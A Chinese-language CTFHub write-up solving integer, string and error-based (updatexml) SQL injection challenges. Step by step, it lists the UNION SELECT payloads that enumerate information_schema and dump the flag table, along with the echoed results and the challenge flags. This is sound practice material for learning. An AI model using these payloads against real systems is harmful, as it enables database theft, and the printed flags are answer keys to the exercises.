今天在ctfhub整理了几个sql注入的解题过程，还算是比较详细的。

知识点都是比较常见的:每个题大致涉及的知识点用一张表格解释

！注:下方的 information_schema.xxxxxxxxxxxxxx皆表示 information_schema库下的表

如:schemata、tables等,不作特殊说明的都指information库下的数据表

还有此处的题是ctfhub整合好的，所以所有的数据库和表包括字段名都一样，不要偷懒。

1.SQL整数型注入

1. 爆当前数据库

4 union select 3,database()

select * from news where id=4 union select 3,database()
ID: 3
Data: sqli

1. 根据information_schema.schemata爆所有的数据库

   4 union select 3,group_concat(schema_name) from information_schema.schemata

   select * from news where id=4 union select 3,group_concat(schema_name) from information_schema.schemata
   ID: 3
   Data: information_schema,mysql,performance_schema,sqli

1. 根据 information_schema.tables 和 已知的数据库名sqli爆表名

4 union select 3,group_concat(table_name) from information_schema.tables where table_schema="sqli"

select * from news where id=4 union select 3,group_concat(table_name) from information_schema.tables where table_schema="sqli"
ID: 3
Data: news,flag

1. 知道了flag表，就去爆爆字段根据 information_schema.columns 和 flag 表名

   4 union select 3,group_concat(column_name) from information_schema.columns where table_name="flag"

   select * from news where id=4 union select 3,group_concat(column_name) from information_schema.columns where table_name="flag"
   ID: 3
   Data: flag

5.知道了flag字段就好说了，直接查里面的内容吧

4 union select 3,group_concat(flag) from sqli.flag

select * from news where id=4 union select 3,group_concat(flag) from sqli.flag
ID: 3
Data: ctfhub{cf0c7df79d5f387aca776784bb5cfaebf98980f0}

2.SQL 字符型注入

1. 爆列数，不过也不用爆了，因为回显就两列 :ID、DATA

3‘ union select database(),version() #

1. 爆库名

   3‘ union select database(),group_concat(schema_name) from information_schema.schemata #

   回显:数据库名字sqli

   select * from news where id=‘3‘ union select database(),group_concat(schema_name) from information_schema.schemata #‘
   ID: sqli
   Data: information_schema,performance_schema,mysql,sqli

2. 爆列名

   3‘ union select database(),group_concat(table_name) from 
   information_schema.tables where table_schema=‘sqli‘ #

   回显表名:flag

   select * from news where id=‘3‘ union select database(),group_concat(table_name) from information_schema.tables where table_schema=‘sqli‘ #
   ID: sqli
   Data: news,flag

3. 爆字段名

   3‘ union select database(),group_concat(column_name) from 
   information_schema.columns where table_name=‘flag‘ #

   回显字段名:flag
   select * from news where id=‘3‘ union select database(),group_concat(column_name) from information_schema.columns where table_name=‘flag‘ #‘
   ID: sqli
   Data: flag

4. 爆字段名

   3‘ union select database(),group_concat(flag) from sqli.flag #‘

   select * from news where id=‘‘ union select database(),group_concat(flag) from sqli.flag #‘
   ID: sqli
   Data: ctfhub{4f0e4923b55e73aa9a1a5fd66fb88b13a1e9e7f2}

3.SQL报错注入

1. 爆当前数据库

1 union select updatexml(1,concat(0x7e,database(),0x7e),1); #

1. 爆所有数据库,注意要用括号包起来那一行

   1 union select updatexml(1,concat(0x7e,
   (select(group_concat(schema_name))from information_schema.schemata) 
   ,0x7e),1); #

回显所有数据库的部分，发现没有回显sqli的名字，所以肯定是回显的长度受限，之前用到过，substr,left ,mid ,和right函数

select * from news where id=1 union select updatexml(1,concat(0x7e, (select(group_concat(schema_name))from information_schema.schemata) ,0x7e),1); #
查询错误: XPATH syntax error: ‘~information_schema,mysql,perfor‘

注意回显得字符最大长度:32个

1. 爆右边的31个字符，发现了重叠，

   1 union select updatexml(1,concat(0x7e,right( 
   (select(group_concat(schema_name))from information_schema.schemata)
   ,31 ),0x7e),1); #

   select * from news where id=1 union select updatexml(1,concat(0x7e, right((select(group_concat(schema_name))from information_schema.schemata) ,31) ,0x7e),1); #
   查询错误: XPATH syntax error: ‘~a,mysql,performance_schema,sqli‘

   所以总共:information_schema,mysql,performance_schema,sqli四个数据库

2. 爆表

1 union select updatexml(1,concat(0x7e,
(select(group_concat(table_name))from information_schema.tables where table_schema="sqli")
,0x7e),1); #

select * from news where id=1 union select updatexml(1,concat(0x7e, (select(group_concat(table_name))from information_schema.tables where table_schema="sqli") ,0x7e),1); #
查询错误: XPATH syntax error: ‘_news,flag‘

1. 爆列名

1 union select updatexml(1,concat(0x7e, (select(group_concat(column_name))from information_schema.columns where table_name="flag") ,0x7e),1); #

select * from news where id=1 union select updatexml(1,concat(0x7e, (select(group_concat(column_name))from information_schema.columns where table_name="flag") ,0x7e),1); #
查询错误: XPATH syntax error: ‘_flag‘

1. 爆内容

一部分flag：

1 union select updatexml(1,concat(0x7e, (select(group_concat(flag)) from sqli.flag) ,0x7e),1); #

select * from news where id=1 union select updatexml(1,concat(0x7e, (select(group_concat(flag)) from sqli.flag) ,0x7e),1); #
查询错误: XPATH syntax error: ‘~ctfhub{2333ee20c980f72952ce65c4‘

另一部分flag：

1 union select updatexml(1,concat(0x7e, right((select(group_concat(flag)) from sqli.flag) ,31),0x7e),1); #

select * from news where id=1 union select updatexml(1,concat(0x7e, right((select(group_concat(flag)) from sqli.flag) ,31),0x7e),1); #
查询错误: XPATH syntax error: ‘~80f72952ce65c494ec82b147e9940d}‘

拼接flag:ctfhub{2333ee20c980f72952ce65c494ec82b147e9940d}

?